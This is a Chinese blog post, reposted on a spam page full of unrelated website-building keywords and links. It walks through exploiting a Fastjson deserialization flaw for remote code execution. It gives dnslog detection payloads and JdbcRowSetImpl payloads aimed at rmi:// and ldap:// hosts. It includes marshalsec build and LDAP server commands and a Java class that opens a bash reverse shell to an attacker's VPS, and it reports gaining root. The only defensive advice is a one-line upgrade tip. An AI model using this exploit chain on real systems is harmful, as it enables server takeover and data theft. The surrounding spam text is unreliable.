当前位置: 首页 > news >正文

优秀茶叶网站设计云卡会员卡管理系统

优秀茶叶网站设计,云卡会员卡管理系统,百度seo排名教程,区块链开发公司漏洞介绍 FastJson在解析json的过程中#xff0c;支持使用autoType来实例化某一个具体的类#xff0c;并调用该类的set/get方法来访问属性。通过查找代码中相关的方法#xff0c;即可构造出一些恶意利用链。 通俗理解就是#xff1a;漏洞利用fastjson autotype在处理json对… 漏洞介绍 FastJson在解析json的过程中支持使用autoType来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。 通俗理解就是漏洞利用fastjson autotype在处理json对象的时候未对type字段进行完全的安全性验证攻击者可以传入危险类并调用危险类连接远程rmi主机通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用获取服务器的敏感信息泄露甚至可以利用此漏洞进一步对服务器数据进行修改增加删除等操作对服务器造成巨大影响。 前言 以下为有授权测试未经授权千万不要触碰法律。 拿到项目后找到了一个后台登录的页面然后尝试弱口令yyds无果 抓包尝试是否存在注入这里看到是json请求就尝试去构造或者破坏原有的json请求从返回的数据包中可以看到有fastjson字样如果没有报错回显就使用dnslog进行验证后面会说到。 尝试是否存在fastjson反序列化漏洞构造以下payload看到了版本信息 Set[{type:java.net.URL,val:http://dnslog}] Set[{type:java.net.URL,val:http://dnslog}网上查了一下此版本存在漏洞 使用dnslog验证 payload {a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://dnslog.cn/zcc,autoCommit:true} }验证成功说明存在漏洞这里也可以用到bp的插件fastjson scan 一键检测傻瓜操作github自行搜索一下 反弹shell  使用工具GitHub - mbechler/marshalsec vps下载完成后进入目录下进行编译 mvn clean package -DskipTests第一次自己进行编译这个过程中遇到了很多问题就不一一细说了如果遇到问题的小伙伴多看报错信息或者私信我也可以大佬无视。 编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar 新开一个窗口监听端口 root目录下新建一个test.java文件里面写入EXP源代码 // bash -i /dev/tcp/xx.xx.xx.xx/6666 01 这里的ip是vps以及vps监听的端口6666 import java.lang.Runtime; import java.lang.Process;public class test {static {try {Runtime rt Runtime.getRuntime();String[] commands {bash, -c, bash -i /dev/tcp/xx.xx.xx.xx/6666 01};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}} }javac编译生成test.class文件 再新建一个窗口启动http服务 python3 -m http.server 8445本地访问一下可以看到生成的class文件 vps启动LDAP服务监听1389端口并制定加载远程类 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx:8445/#test 1389返回burp构造payload反弹shell可以看到已经是root权限 {a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://vps:9999/xxx,autoCommit:true} }fastjson指纹信息 A.抓包改为POST方式花括号不闭合返回包就会出现fastjson字样不过这个可以屏蔽就用其他办法B.利用dnslog盲打 1. 利用java.net.Inet[4|6]Address {type:java.net.Inet4Address,val:dnslog} {type:java.net.Inet6Address,val:dnslog} 2. 利用java.net.InetSocketAddress {type:java.net.InetSocketAddress{address:,val:dnslog}} 3. 利用java.net.URL {{type:java.net.URL,val:http://dnslog}:x} 4. 其他变形 {type:com.alibaba.fastjson.JSONObject,{type:java.net.URL,val:http://dnslog”}}} Set[{type:java.net.URL,val:http://dnslog}] Set[{type:java.net.URL,val:http://dnslog} {{type:java.net.URL,val:http://dnslog}:0 1.2.67版本前 {zeo:{type:java.net.Inet4Address,val:fatu5k.dnslog.cn}} 1.2.67版本后payload {type:java.net.Inet4Address,val:dnslog} {type:java.net.Inet6Address,val:dnslog}修复建议 升级到官方最新版本
http://wiki.neutronadmin.com/news/344278/

相关文章:

  • 做网站怎么做小图标wordpress算数验证码
  • 网站开发的背景与环境服装网站建设策划书 百度文库
  • 重庆建企业网站17网站一起做网店怎么拿货
  • 哪个网站推广好wordpress列表无图像
  • 简述网站规划的一般步骤营销型网站的推广
  • asp net做网站视频长沙建一个网站多少钱
  • 云南做企业网站多少钱返利 wordpress
  • wordpress建站事例昨天的新闻
  • ps免费素材网站有哪些职业生涯规划ppt免费模板
  • 中山专业网站制作网站建设课程ppt
  • 网站流量超限什么意思注册人力资源公司需要什么条件
  • 恶意网站是怎么实现的wordpress卡车主题
  • 网站建设经验交流材料医院建设官方网站必要性
  • 延安网站设计公司医疗器械股票龙头股票
  • 网站副标题网页微博怎么用qq登录
  • 城市建设网站海诚网站建设
  • 如何学会建网站中国最顶尖的服装设计公司
  • 那些做seo的网站丹阳论坛
  • 建设政务网站律师个人网站建设
  • 做网站和做产品同ip多域名做网站
  • 信息图表设计网站公司页面设计代码
  • 平面设计鉴赏网站网络推广公司简介
  • 网站内容怎么修改天津做网站外包公司有哪些
  • 网站宣传策划方案营销型网站建设题库
  • 厦门 网站 开发如何装wordpress
  • 网站内链怎么优化html个人主页网页设计代码
  • 建设一个个人网站不需要网站建设设计公司
  • 今天的特大新闻有哪些淄博seo排名
  • 网站后台ftp在哪二手车网站程序
  • 唐山市城乡建设网站网站改版需要注意